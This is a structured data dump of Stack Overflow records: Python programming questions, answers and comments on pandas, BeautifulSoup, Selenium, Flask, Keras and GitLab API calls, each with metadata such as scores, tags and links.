score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81437406
comment on: http://stackoverflow.com/a/47240113
has text: it works like a charm. thank you very much. I am wondering how did you find it? thanks again.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81513117
type: QuestionComment
comment on: http://stackoverflow.com/q/47281338
score: 4
has text: 1. Assuming this code is working correctly it may belong on [CodeReview](https://codereview.stackexchange.com) - but make sure to read the rules and guidelines there first. 2. What is this code even supposed to do? Also please make sure to use *sensible* variable names, `e`,`w` and `q` don't explain what their purpose is
type: Comment

http://stackoverflow.com/comment/81561020
comment on: http://stackoverflow.com/a/47304520
type: Comment
has text: @Jenny: Try this solution: https://stackoverflow.com/a/16952651/6619424
score: 0
type: AnswerComment

http://stackoverflow.com/q/47365014
accepted answer: http://stackoverflow.com/a/47365289
tagged with: beautifulsoup
has answer: http://stackoverflow.com/a/47365392
type: AnsweredQuestion
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/47365242
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/47365242
has answer: http://stackoverflow.com/a/47365289
has title: How to extract the value related to a label cell from a html table using BeautifulSoup?
tagged with: parsing
type: Question
tagged with: python
has body: I have the following html code: Label1 Value2 Label2 Value2 Label3 Value3 and I would like to use BeautifulSoup to get the value related to Label2. I do the following soup = BeautifulSoup(page) datatable = soup.find(class_="data-table data-table_detailed") datatable.find_all(class_="cell_label") #to get the list of labels But how can I get the value that is in cell of the label Label2?

http://stackoverflow.com/a/47231541
answers question: http://stackoverflow.com/q/47231496
downvote count: 0
type: Answer
has body: You need to use period_range rather than date_range: In [11]: idx = pd.period_range(min(df.date), max(df.date)) ...: results.reindex(idx, fill_value=0) ...: Out[11]: f1 f2 f3 f4 2000-01-01 2.049157 1.962635 2.756154 2.224751 2000-01-02 2.675899 2.587217 1.540823 1.606150 2000-01-03 0.000000 0.000000 0.000000 0.000000 2000-01-04 0.000000 0.000000 0.000000 0.000000 2000-01-05 0.000000 0.000000 0.000000 0.000000 2000-01-06 0.000000 0.000000 0.000000 0.000000 2000-01-07 0.000000 0.000000 0.000000 0.000000 2000-01-08 0.000000 0.000000 0.000000 0.000000 2000-01-09 0.000000 0.000000 0.000000 0.000000 2000-01-10 0.000000 0.000000 0.000000 0.000000 2000-01-11 0.000000 0.000000 0.000000 0.000000 2000-01-12 0.000000 0.000000 0.000000 0.000000 2000-01-13 0.000000 0.000000 0.000000 0.000000 2000-01-14 0.000000 0.000000 0.000000 0.000000 2000-01-15 0.000000 0.000000 0.000000 0.000000 2000-01-16 0.000000 0.000000 0.000000 0.000000 2000-01-17 0.000000 0.000000 0.000000 0.000000 2000-01-18 0.000000 0.000000 0.000000 0.000000 2000-01-19 0.000000 0.000000 0.000000 0.000000 2000-01-20 0.000000 0.000000 0.000000 0.000000 2000-01-21 0.000000 0.000000 0.000000 0.000000 2000-01-22 0.000000 0.000000 0.000000 0.000000 2000-01-23 0.000000 0.000000 0.000000 0.000000 2000-01-24 0.000000 0.000000 0.000000 0.000000 2000-01-25 0.000000 0.000000 0.000000 0.000000 2000-01-26 0.000000 0.000000 0.000000 0.000000 2000-01-27 0.000000 0.000000 0.000000 0.000000 2000-01-28 0.000000 0.000000 0.000000 0.000000 2000-01-29 0.000000 0.000000 0.000000 0.000000 2000-01-30 0.000000 0.000000 0.000000 0.000000 2000-01-31 0.000000 0.000000 0.000000 0.000000 2000-02-01 0.000000 0.000000 0.000000 0.000000 2000-02-02 0.000000 0.000000 0.000000 0.000000 2000-02-03 0.000000 0.000000 0.000000 0.000000 2000-02-04 1.856158 2.892620 2.986166 2.793448 This is because your groupby uses PeriodIndex, rather than datetime: df.groupby(pd.PeriodIndex(data=df.date, freq='D')) You could have instead used a pd.Grouper: df.groupby(pd.G…
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47231496
score: 52
upvote count: 52

http://stackoverflow.com/a/47355938
has comment: http://stackoverflow.com/comment/81674354
has body: The following creates a dataframe from some data, creates an openpyxl ExcelWriter. It then uses a colourmap from Matplotlib to give you a range of colours. For each unique value it assigns the next value from the colormap, starting with red: import pandas as pd import openpyxl from openpyxl.styles import PatternFill import matplotlib import matplotlib.cm as cm import numpy as np data = [ [1, 'test', 1], [1, 'test', 2], [1, 'test', 3], [2, 'test', 4], [3, 'test', 5], [3, 'test', 6], [4, 'test', 7], [5, 'test', 8]] write_path = "output.xlsx" df = pd.DataFrame(data, columns=["value", "comment", "index"]) unique = np.unique(df['value']).shape[0] + 1 with pd.ExcelWriter(write_path) as writer: df.to_excel(writer, sheet_name="Sheet1", index=False) wb = openpyxl.load_workbook(write_path) ws = wb.get_sheet_by_name("Sheet1") # Create a color map tohex = lambda r,g,b,a: '%02X%02X%02X%02X' % (a,r,g,b) gist_rainbow = cm.gist_rainbow(np.linspace(0, 1, unique)) gist_rainbow = np.array(gist_rainbow * 255, dtype=int) gist_rainbow = iter([tohex(*gist_rainbow[i,:]) for i in range(unique)]) colours = {} next_colour = next(gist_rainbow) # get the next colour in the colormap for cells in ws.iter_rows(min_row=2, min_col=1, max_col=1): cell = cells[0] try: colour = colours[cell.value] except KeyError: colours[cell.value] = next_colour colour = next_colour next_colour = next(gist_rainbow) # get the next colour in the colormap cell.fill = PatternFill(start_color=colour, end_color=colour, fill_type='solid') wb.save(write_path) This would give you an Excel spreadsheet something looking like:
downvote count: 0
has comment: http://stackoverflow.com/comment/81683764
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81683883
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81683506
has comment: http://stackoverflow.com/comment/81681722
has comment: http://stackoverflow.com/comment/81683444
accepted answer of: http://stackoverflow.com/q/47353267
has comment: http://stackoverflow.com/comment/81683480
has comment: http://stackoverflow.com/comment/81683534
answers question: http://stackoverflow.com/q/47353267
type: Answer
has comment: http://stackoverflow.com/comment/81683512
has comment: http://stackoverflow.com/comment/81683496
has comment: http://stackoverflow.com/comment/81689093

http://stackoverflow.com/comment/81587742
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47318240
has text: Try printing out the values of your variables at various stages of your program (e.g. at the beginning/end of your main loop). Or even better, learn to use a debugger and step through your code so you can see where it is going wrong.

http://stackoverflow.com/q/47240349
score: 0
answer count: 2
has title: import error keras.models Dense, LSTM, Embedding
has body: I have trouble running the code from this this neural language model tutorial. It seems that I cannot import the relevant packages from keras.models although I have installed keras and tensorflow. a) keras installed b) TensorFlow installed c) Spyder error message I also tried to run the import command in the Windows console. There the error message says something about "the CPU supports instructions that this TensorFlow binary was not compiled to use". d) Error message in windows console Background info: I am using Spyer 3.2.3 and have installed python 3.6.0. Could you please help me to find out what the issue is? Thank you, very much appreciated!
accepted answer: http://stackoverflow.com/a/47241209
tagged with: cpu
upvote count: 1
tagged with: keras
downvote count: 1
tagged with: tensorflow
favorite count: 0
has comment: http://stackoverflow.com/comment/81431744
type: Question
has answer: http://stackoverflow.com/a/78384529
tagged with: python
has comment: http://stackoverflow.com/comment/81433153
has answer: http://stackoverflow.com/a/47241209
possible better answer: http://stackoverflow.com/a/78384529
type: AnsweredQuestion

http://stackoverflow.com/q/47297795
has answer: http://stackoverflow.com/a/47297882
linked to: http://stackoverflow.com/q/67631
tagged with: function
type: UnansweredQuestion
tagged with: package
tagged with: python
tagged with: module
has body: Trying to understand how to properly use another module when its nested within a folder. I tried implementing a package using the __init__.py as documented in the Packages section of Modules. I am not finding much success. Here is the file structure. For example, I want to be able to reference a class contained within credentials.py in propeller.py. Another use case, I want to reference a function from within base.py in propeller.py. Looking forward to hearing how other approach this. Thanks!
has comment: http://stackoverflow.com/comment/81547123
score: 2
downvote count: 0
linked to: http://stackoverflow.com/q/16114391
has title: How do I reference a python file nested within a nested package in Python 3?
answer count: 1
favorite count: 0
type: Question
upvote count: 2
tagged with: python-3.x

http://stackoverflow.com/comment/104648507
comment on: http://stackoverflow.com/q/47382184
score: 0
type: Comment
type: QuestionComment
has text: what is `history` in your example?

http://stackoverflow.com/comment/81450752
type: QuestionComment
comment on: http://stackoverflow.com/q/47249995
has text: locally - and it is working in Terminal mode wo any problems
score: 0
type: Comment

http://stackoverflow.com/q/47343778
possible better answer: http://stackoverflow.com/a/47344007
has body: The HTML script is : Please Select john erine devin Here the user will give the name like john , erine or devin and i have to select that item from the list .Using selenium web driver in python 2.7 . Here's my progress till now : import selenium from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.support.select import Select elem = driver.find_element_by_xpath('//* [@id="ctl00_TableContentPlaceHolder_ddlAssignedTo_input"]') elem.send_keys(name)
tagged with: selenium
upvote count: 1
downvote count: 1
favorite count: 0
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47344699
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/47344699
tagged with: python
has comment: http://stackoverflow.com/comment/81640781
has comment: http://stackoverflow.com/comment/81649146
type: Question
answer count: 2
tagged with: automated-tests
has title: How to select a dropdown list element using webdriver selenium in python where it is of input type?
has answer: http://stackoverflow.com/a/47344007

http://stackoverflow.com/a/47365003
accepted answer of: http://stackoverflow.com/q/47355526
type: Answer
score: 0
type: AcceptedAnswer
has body: The date format in the file you have is Day/Month/Year. In order for pandas to interprete this format correctly you can use the option dayfirst=True inside the read_csv call. import pandas as pd import matplotlib.pyplot as plt data = pd.read_csv('data/UK-HPI-full-file-2017-08.csv', index_col='Date', parse_dates=True, dayfirst=True) brixton = data[data['RegionName'] == 'Lambeth'] prices_panda = brixton['AveragePrice'] plt.plot(prices_panda) plt.show()
answers question: http://stackoverflow.com/q/47355526

http://stackoverflow.com/comment/81626612
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47337345
type: Comment
has text: Hi Wen, Thanks. What about if mode is None?

http://stackoverflow.com/q/47357578
score: 1
tagged with: pyside
has answer: http://stackoverflow.com/a/47358118
accepted answer: http://stackoverflow.com/a/47358118
tagged with: python
tagged with: qitemselectionmodel
has comment: http://stackoverflow.com/comment/81667907
tagged with: selection
type: AnsweredQuestion
has body: What is the best way to collect a list of QModelIndex per row from a QItemSelection. Currently QItemSelection returns a list of QModelIndex for each row and each column. I only need it for each row.
tagged with: pyqt
has title: How do I collect rows from QItemSelection
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81668052
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81667817

http://stackoverflow.com/q/47368252
has title: Options for Py_BuildValue when creating handle
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81702728
type: Question
has comment: http://stackoverflow.com/comment/81703484
type: UnansweredQuestion
tagged with: python
tagged with: http://stackoverflow.com/tag/c
has body: Which options should I use for Py_BuildValue when I am trying to return PyObject which is handle at C? From Leddar SDK: "Returns "The handle to pass to other Leddar* functions." this handle I would need to return to python code.

http://stackoverflow.com/q/47379180
duplicate of: http://stackoverflow.com/q/25860304
answer count: 1
tagged with: http-headers
upvote count: 1
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47379451
type: Question
has title: Flask REST api headers returned upon request and what exactly is a header
tagged with: python
duplicate of: http://stackoverflow.com/q/30717152
tagged with: flask
linked to: http://stackoverflow.com/q/25860304
has comment: http://stackoverflow.com/comment/81710812
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47379451
has body: What exactly is a REST header? I'm having problems understanding what a header is because at first I thought read that it's something that the requester doesn't see in the HTTP. But then when I do some more research I see them sometimes going in the body. Can somebody please help me understand it with a general understanding? Also, I have homework for trying to develop a Flask API that returns data and a header like "v:1.2" in all requests made. I have some questions that I am having problems figuring out. How do I get my API to return a header that contains custom information such as "XYZ" every time a request is made? Will this get returned in the body? I made a "/" home request that returns all the data from my JSON and then I tried making a "/item" that return data from the "items" of my JSON but I can't get it to work. It always returns that it can't be found when I test the API. Is the problem when I write purchases["item"]? data purchases = [ { "transactions": [ { "items": [ { "name": "My Item:", "price": 15.99 } ], "name": "My Wonderful Store" }, { "time": [ { "hour bought": "02:00" }, ] } ] } ] views # GET / @app.route("/") # shows your whole list def get_purchases(): return jsonify({"purchases": purchases}) # GET /item @app.route("/item") # gets just item def get_statistics_loads(): return jsonify({"items:": purchases["items"]}) app.run(port=5000)

http://stackoverflow.com/comment/96671283
comment on: http://stackoverflow.com/a/47239367
score: 0
type: Comment
has text: I'm wondering if for performance isn't better to take the array as s.values and apply a numpy solution.
type: AnswerComment

http://stackoverflow.com/comment/82014448
has text: Did you test my hypothesis? It should be easy to test by significantly lowering the value you assign to `nb_steps_warmup`. If I'm not mistaken about what it does (that it's a number of time steps during which you only collect experience and not learn anything), then I know that the default value for that in the DQN OpenAI baselines implementation is 1000, so that would be a good value to try. I don't think I'm mistaken, since in line 242 of your dqn.py I see that training is only allowed under the condition: `if self.step > self.nb_steps_warmup`
type: AnswerComment
comment on: http://stackoverflow.com/a/47455338
score: 0
type: Comment

http://stackoverflow.com/comment/81691651
score: 0
has text: Where can I find such a tutorial ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47369580

http://stackoverflow.com/comment/81558242
has text: I tried your code and it works for random data that I created. Are you sure that whatever is in ``Heatintensity`` is of the right ``dtype`` and of different values?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47299196

http://stackoverflow.com/q/47288184
score: 1
possible better answer: http://stackoverflow.com/a/54062206
tagged with: python-requests
tagged with: gitlab-ci
favorite count: 0
has body: I'm trying to trigger a GitLab build using Python Requests. Normally one can kick off a build with a curl command. Example curl command: curl -X POST \ -F token=TOKEN \ -F ref=master \ -F "variables[UPLOAD_TO_S3]=true" \ https://gitlab.example.com/api/v4/projects/9/trigger/pipeline I can get this working using the sh module but I'd prefer using requests. I've tried variations with the following: data = { 'token': token, 'ref': master, 'variables[UPLOAD_TO_S3]': str(uploadS3), } headers = {'Content-Type': 'application/json'} result = requests.post(_trigger_url, headers=headers, json=data) I tried with and without the headers param. I've also tried passing the data dict using params, json, files, and data. All keep coming back with 400 or 404 errors. Any suggestions?
accepted answer: http://stackoverflow.com/a/47289854
type: Question
has answer: http://stackoverflow.com/a/47289854
has title: Trigger GitLab Build with Python Requests
tagged with: python
has answer: http://stackoverflow.com/a/59258742
has answer: http://stackoverflow.com/a/54062206
tagged with: curl
type: AnsweredQuestion
answer count: 3
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/47245753
has comment: http://stackoverflow.com/comment/81490054
has comment: http://stackoverflow.com/comment/81442285
has comment: http://stackoverflow.com/comment/81504928
upvote count: 1
score: 1
type: Answer
has body: Here is an alternate solution with filter operation: def common_elements(list1,list2): result = list(filter(lambda x: x in list2, list1)) return result or None
has comment: http://stackoverflow.com/comment/81442028
downvote count: 0
has comment: http://stackoverflow.com/comment/81442051
has comment: http://stackoverflow.com/comment/81442535
answers question: http://stackoverflow.com/q/47245679

http://stackoverflow.com/comment/81511253
score: 0
type: Comment
type: QuestionComment
has text: actually I have the complete code in my script, and the problem is just when I run the matrix 3D. if there is oke, may you give me an example how to initialize the array as complex?
comment on: http://stackoverflow.com/q/47280241

http://stackoverflow.com/q/47314437
has comment: http://stackoverflow.com/comment/81580233
has comment: http://stackoverflow.com/comment/81579929
score: 2
upvote count: 2
type: AnsweredQuestion
tagged with: css-selectors
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/47315312
favorite count: 0
type: Question
has body: I am brand new to python and am trying to modify some existing code. I have a form with the following elements: &lt;div class="v-actions"&gt; &lt;input type="submit" value="Save"/&gt; &lt;input type="button" value="Accept"/&gt; &lt;input type="button" value="Reject"/&gt; &lt;/div&gt; If it exists, I want to click the Accept button. If not, I want to log that it is not found. Currently, the code is this: from bs4 import BeautifulSoup import datetime import getpass from gmail import Gmail from selenium import webdriver from selenium.common.exceptions import NoSuchElementException from time import sleep .... self.chrome_session = webdriver.Chrome() .... links = self.chrome_session.find_elements_by_class_name('link-record') links = [(link.text, link.get_attribute('href').decode('utf-8')) for link in links] if len(links) == 0: print("No work orders available at {0}".format( datetime.datetime.now())) else: for link_text, link_url in links: print("Clicking work order {0}".format(link_text)) self.chrome_session.get(link_url) potential_input = self.chrome_session.find_element_by_class_name('v-actions').find_element_by_tag_name('input'); if potential_input.get_attribute('value') == 'Accept': potential_input.click() print("Accepted work order {0} at {1}.".format(link_text,datetime.datetime.now())) else: print("Accept input not found.") .... In jquery, the selector would be something like: div.v-actions input[value=Accept] I am not sure how to do this with Python. I would rather not loop through all the inputs. I just want to find if the specific input exists and accept it if it does. How do I translate the css selector to Python? UPDATE I am trying this now: potential_input = self.chrome_session.find_element_by_xpath("//div[@class='v-actions']/input[@value='Accept']") if potential_input.is_displayed(): print("Accept input not found") else: potential_input.click() print("Accepted work order {0} at {1}.".format(link_text, datetime.datetime.now())) I am not sure how to test if it…
has answer: http://stackoverflow.com/a/47315312
has title: Python code to click a button using css selectors
tagged with: python

http://stackoverflow.com/q/47250320
has answer: http://stackoverflow.com/a/47361930
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/131069014
upvote count: 1
favorite count: 0
tagged with: opencv
type: AnsweredQuestion
has title: Pyramid Framework : Stream Camera using Opencv
tagged with: frameworks
tagged with: python
has body: I have been trying to stream my webcam using the pyramid framework. The thing is the object generated is a generator object, and when I'm passing it over views, I do get the video stream at route (/video_feed) but it lags a lot. anyone? here's the block of code for it from pyramid.response import Response from pyramid.view import view_config from sqlalchemy.exc import DBAPIError from ..models import MyModel import cv2 class VideoCamera(object): def __init__(self): self.video = cv2.VideoCapture(0) def __iter__(self): return self def close(self): self.video.release() def get_frame(self): success,image = self.video.read() ret, jpeg = cv2.imencode('.jpg', image) return jpeg.tobytes() __next__=get_frame @view_config(route_name='home', renderer='templates/stream.jinja2') def my_view(request): return {'project': 'my_project'} def generate(camera): while True: frame = camera.__next__() yield (b'--frame\r\n' b'Content-Type: image/jpeg\r\n\r\n' + frame + b'\r\n\r\n') @view_config(route_name="video_feed") def video(request): return Response( app_iter=generate(VideoCamera()), content_type="multipart/x-mixed-replace; boundary=frame") Help!
type: Question
tagged with: pyramid
accepted answer: http://stackoverflow.com/a/47361930
score: 1

http://stackoverflow.com/q/47288315
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47288708
tagged with: dataframe
tagged with: python
has body: I have two dataframes: df1 = pd.DataFrame({'ID':pd.Series(['id1','id2','id3']), 'DoB':pd.Series(['15/2','12/3','25/12']), 'Surgery Date':pd.Series(['1/1','2/1','3/1'])}) df2 = {'1':pd.Series(['id1', 'test1', '45']), '2':pd.Series(['id1', 'test2', '423']), '3':pd.Series(['id1', 'test3', '5']), '4':pd.Series(['id2', 'test2', '421'])} df2 = pd.DataFrame(df2) df2 = df2.rename(index={0,:'id'}) df2 = df2.rename(index={1,:'test name'}) df2 = df2.rename(index={2,:'test value'}) I would like to merge these two so that df1 contains a new column for each test name, with the tests value underneath, for each id. I.e.: df1 = pd.DataFrame({'ID':pd.Series(['id1','id2','id3']), 'DoB':pd.Series(['15/2',12/3','25/12']), 'Surgery Date':pd.Series(['1/1','2/1','3/1']), 'Test1':pd.Series([45]), 'Test2':pd.Series([426,421])}) Each ID has a different number of tests, and I'd like the code to work on a much larger database. Cheers!
score: 0
tagged with: pandas
answer count: 1
type: Question
has title: Map multiple rows to create new columns in a dataframe

http://stackoverflow.com/a/47260155
accepted answer of: http://stackoverflow.com/q/47259753
has comment: http://stackoverflow.com/comment/81471720
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47259753
type: AcceptedAnswer
downvote count: 0
has body: Sandip's answer should work, but if you specifically want it the way you've stated in your question, this could work: import os src_filename = "access.log.1.txt" dst_dir = "test" for filename in os.listdir(dst_dir): # Filter files based on number of . in filename if filename.count(".") &lt; 4: continue # We need to remove the datetime extension before comparing with our filename filename_tokens = filename.split(".") # List of words separated by . in the filename print "Tokens:", filename_tokens # Keep only indexes 0, 1, 2 and 4 (exclude index 3, which is the datetime-string) datetime_string = filename_tokens.pop(3) # pop() also removes the datetime-string print "Datetime:", datetime_string dst_filename = ".".join(filename_tokens) print "Destination filename:", dst_filename # Check if the destination filename now matches our source filename if dst_filename == src_filename: # Get full path of file to be deleted filepath = os.path.join(dst_dir, filename) # Delete it print "Deleting:", filepath os.remove(filepath) print "----------------------" Note that this approach assumes that all your destination file names looks like they do in your question, i.e. that all of them have 4 periods (.) and that the datetime string is always between your third and fourth period.

http://stackoverflow.com/comment/81476288
comment on: http://stackoverflow.com/q/47262765
has text: How do you plot a line graph of categorical variables?
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81500650
comment on: http://stackoverflow.com/a/47273997
score: 0
type: Comment
has text: I am marking your answer correct but there are some changes required to make it work. There should be no space in between tags as it will throw tag error when introducing string. payload = "%s,name=%s,description=%s count=%d %d" % (measurement, name, description,count,timestamp)
type: AnswerComment

django-rest-framework
tags question: http://stackoverflow.com/q/47375469
tags question: http://stackoverflow.com/q/47234554
tags question: http://stackoverflow.com/q/47286076
tags question: http://stackoverflow.com/q/47280049
tags question: http://stackoverflow.com/q/47284393
tags question: http://stackoverflow.com/q/47323980
tags question: http://stackoverflow.com/q/47256786
tags question: http://stackoverflow.com/q/47267765
tags question: http://stackoverflow.com/q/47348091
tags question: http://stackoverflow.com/q/47329526
tag name: django-rest-framework
tags question: http://stackoverflow.com/q/47343392
tags question: http://stackoverflow.com/q/47370007
tags question: http://stackoverflow.com/q/47380838
tags question: http://stackoverflow.com/q/47277427
tags question: http://stackoverflow.com/q/47261926
tags question: http://stackoverflow.com/q/47234183
tags question: http://stackoverflow.com/q/47303818
tags question: http://stackoverflow.com/q/47279280
tags question: http://stackoverflow.com/q/47303681
tags question: http://stackoverflow.com/q/47265385
tags question: http://stackoverflow.com/q/47294950
tags question: http://stackoverflow.com/q/47330891
type: Tag
tags question: http://stackoverflow.com/q/47309365
tags question: http://stackoverflow.com/q/47264239
tags question: http://stackoverflow.com/q/47293760
tags question: http://stackoverflow.com/q/47334810
tags question: http://stackoverflow.com/q/47281020
tags question: http://stackoverflow.com/q/47272676
tags question: http://stackoverflow.com/q/47293045
tags question: http://stackoverflow.com/q/47274652
tags question: http://stackoverflow.com/q/47360013
tags question: http://stackoverflow.com/q/47290852
tags question: http://stackoverflow.com/q/47324703
tags question: http://stackoverflow.com/q/47351486
tags question: http://stackoverflow.com/q/47248596
tags question: http://stackoverflow.com/q/47324265
tags question: http://stackoverflow.com/q/47256444
tags question: http://stackoverflow.com/q/47344644
tags question: http://stackoverflow.com/q/47276966
tags question: http://stackoverflow.com/q/47363187
tags question: http://stackoverflow.com/q/47339848
tags question: http://stackoverflow.com/q/47329287
tags question: http://stackoverflow.com/q/47307998

http://stackoverflow.com/comment/81676266
score: 0
type: Comment
has text: It still returns the partial review.
type: QuestionComment
comment on: http://stackoverflow.com/q/47354573

http://stackoverflow.com/a/49733836
answers question: http://stackoverflow.com/q/47231177
upvote count: 4
type: Answer
has comment: http://stackoverflow.com/comment/88682921
has body: You may use the hadoop configuration to access the password from python code. Only thing you would need is to instanciate a hadoop configuration and use the property hadoop.security.credential.provider.path to set and retrieve the password using getPassword You could use Spark also to read the jecks password from inside your code: Python: spark1 = SparkSession.builder.appName("xyz").master("yarn").enableHiveSupport().config("hive.exec.dynamic.partition", "true").config("hive.exec.dynamic.partition.mode", "nonstrict").getOrCreate() x = spark1.sparkContext._jsc.hadoopConfiguration() x.set("hadoop.security.credential.provider.path", "jceks://file///localpathtopassword") a = x.getPassword("&lt;password alias&gt;") passw = "" for i in range(a.__len__()): passw = passw + str(a.__getitem__(i)) In the above code you shall get the password string in passw
score: 4
has comment: http://stackoverflow.com/comment/128929946
downvote count: 0

http://stackoverflow.com/comment/81690799
comment on: http://stackoverflow.com/q/47368953
score: 0
type: Comment
has text: Your question is strange, filter is used to select elements that meet certain conditions. Please give an appropriate context to your question?
type: QuestionComment

http://stackoverflow.com/comment/81408419
score: 0
comment on: http://stackoverflow.com/q/47227834
type: Comment
type: QuestionComment
has text: @PM2Ring I guess I was not giving enough details. The reason to do global result is because the g(a, b) only returns part of the result. So i need to update the a, and run g() again, the another part of the result. I have to run g() 4 times to get the full result. But again, I am a beginner here, if you can show me how to structure it without using global I will appreciate it. I understand that the use of global is often avoided.

http://stackoverflow.com/q/47378522
has body: I want to take input from a file by default. For example: num=input() This statement should take input from a file instead of waiting for key hits. I do not want to do it by redirecting standard input to a file, I want it by default. Simply, keyboard is default device for input, so instead of keyboard I want a file to give input.
type: Question
tagged with: stdin
answer count: 2
accepted answer: http://stackoverflow.com/a/47378642
has comment: http://stackoverflow.com/comment/81709362
tagged with: python
tagged with: default
has comment: http://stackoverflow.com/comment/81709193
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/47378671
has comment: http://stackoverflow.com/comment/81713084
has answer: http://stackoverflow.com/a/47378642
has answer: http://stackoverflow.com/a/47378671
has title: Making a file as default stdin

http://stackoverflow.com/comment/81586072
score: 0
type: AnswerComment
has text: @Jesper Did you tried all what I suggested (more data, depth,..)? Another thing that could be acting strangely is your data augmentation. Could probably be saturating your performance up to a point where augmentation brings no further benefit (what if you do it without augmentation? thats what I meant when suggesting to get more data, organic samples and not artificial ones). You can ping me if you want for any further discussion if you like. Cheers
type: Comment
comment on: http://stackoverflow.com/a/47273980

http://stackoverflow.com/comment/81619125
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47333866
has text: As @TheIncorrigible1 mentioned, use `[\w-]` for the first set instead, use `\.` for a literal dot instead of *any character except newline (unless `s` modifier is used)*. You can use `[^\W_]` for the second set as well. `^[\w-]+\.[^\W_]$`
score: 1

http://stackoverflow.com/comment/81672150
type: Comment
comment on: http://stackoverflow.com/q/47359677
score: 3
type: QuestionComment
has text: Possible duplicate of https://stackoverflow.com/questions/42961944/cx-freeze-no-module-named-codecs

http://stackoverflow.com/q/47321862
favorite count: 0
has answer: http://stackoverflow.com/a/47341529
type: Question
accepted answer: http://stackoverflow.com/a/47341529
has comment: http://stackoverflow.com/comment/81594897
has title: How to validate number is greater than 0 in python?
has comment: http://stackoverflow.com/comment/81635300
possible better answer: http://stackoverflow.com/a/47322044
has comment: http://stackoverflow.com/comment/81594800
tagged with: python
score: -1
has body: I tried to validate the returned number from input form in python. The input value must be a number and greater than 0. My script is like this: hello.py # -*- coding: utf-8 -*- from flask import * app = Flask(__name__) @app.route('/', methods=['GET','POST']) def checNumber(): if request.method=='POST': number = request.form['Number'] try: if int(number) < 0: raise 'Number should be greater than 0' except: raise 'Please enter number only' return render_template('hello.html') if __name__ == '__main__': app.run(debug=True) hello.html Number: Submit After I click on submit form, if the inputted value is not a number (alphabet or something else) it will raise 'Please enter number only'. However, if number is negative, it never raise 'Number should be greater than 0', yet the python regards it as not a number and raise 'Please enter number only'. I think a negative value is also a number. How can I fix this? Thanks.
has answer: http://stackoverflow.com/a/47322044
tagged with: flask
has comment: http://stackoverflow.com/comment/81635848
has comment: http://stackoverflow.com/comment/81637614
upvote count: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81596800
answer count: 2
downvote count: 3
has comment: http://stackoverflow.com/comment/81595290
has comment: http://stackoverflow.com/comment/81594880
has comment: http://stackoverflow.com/comment/81594836

http://stackoverflow.com/comment/81489337
type: QuestionComment
score: 0
type: Comment
has text: Are these really lists (so I'd expect to see `[` and `]`) - or are they tuples? Or are they dictionaries?
comment on: http://stackoverflow.com/q/47269286

http://stackoverflow.com/comment/81497756
has text: Did you use `Python` or `python`? Does `python` work on `cmd.exe`?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47266208
type: Comment

http://stackoverflow.com/a/47314058
type: Answer
has comment: http://stackoverflow.com/comment/81578906
score: 1
downvote count: 0
upvote count: 1
has body: As per the comment above, i don't follow your code. But to iteratively empty a list try: while len(maleNames) !=0: popped = maleNames.pop() print('Popped value: ', popped, '\tNew list: ', maleNames)
answers question: http://stackoverflow.com/q/47313866

http://stackoverflow.com/q/47359080
downvote count: 2
answer count: 1
tagged with: regex-negation
has comment: http://stackoverflow.com/comment/81671225
linked to: http://stackoverflow.com/q/22937618
favorite count: 0
has answer: http://stackoverflow.com/a/47359103
type: Question
accepted answer: http://stackoverflow.com/a/47359103
duplicate of: http://stackoverflow.com/q/22937618
has comment: http://stackoverflow.com/comment/81671291
has title: Simple Negative Lookahead
has body: I get this: import re; print re.findall(r"q(?=u)", "qqq queen quick qeel") &gt; ['q', 'q'] # for queen and quick But I don't get this: import re; print re.findall(r"q(?!=u)", "qqq queen quick qeel") &gt; ['q', 'q', 'q', 'q', 'q', 'q'] # every q matches I expected only 4 qs to match because the negative lookahead should see that in the word qeel for example, the letter after the q is not u. What gives?
tagged with: python
tagged with: regex
upvote count: 2
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/47231255
has answer: http://stackoverflow.com/a/47231533
has body: I write bot for the telegram with telebot and Django . And when i running him on the server and watch the full log, I have next text: Internal Server Error: /bot/ Traceback (most recent call last): File "/home/fishbot/env/lib/python3.5/site-packages/django/core/handlers/exception.py", line 41, in inner response = get_response(request) File "/home/fishbot/env/lib/python3.5/site-packages/django/core/handlers/base.py", line 198, in _get_response "returned None instead." % (callback.__module__, view_name) ValueError: The view bot.views.bot didn't return an HttpResponse object. It returned None instead. Somebody help me? P.S i can not attach telebot on the tags 0:
tagged with: django
tagged with: python
score: -1
type: AnsweredQuestion
upvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/47231533
downvote count: 1
has title: Bot didn't return an HttpResponse object. It returned None instead
favorite count: 0
type: Question

http://stackoverflow.com/comment/81708605
type: Comment
comment on: http://stackoverflow.com/a/47378061
type: AnswerComment
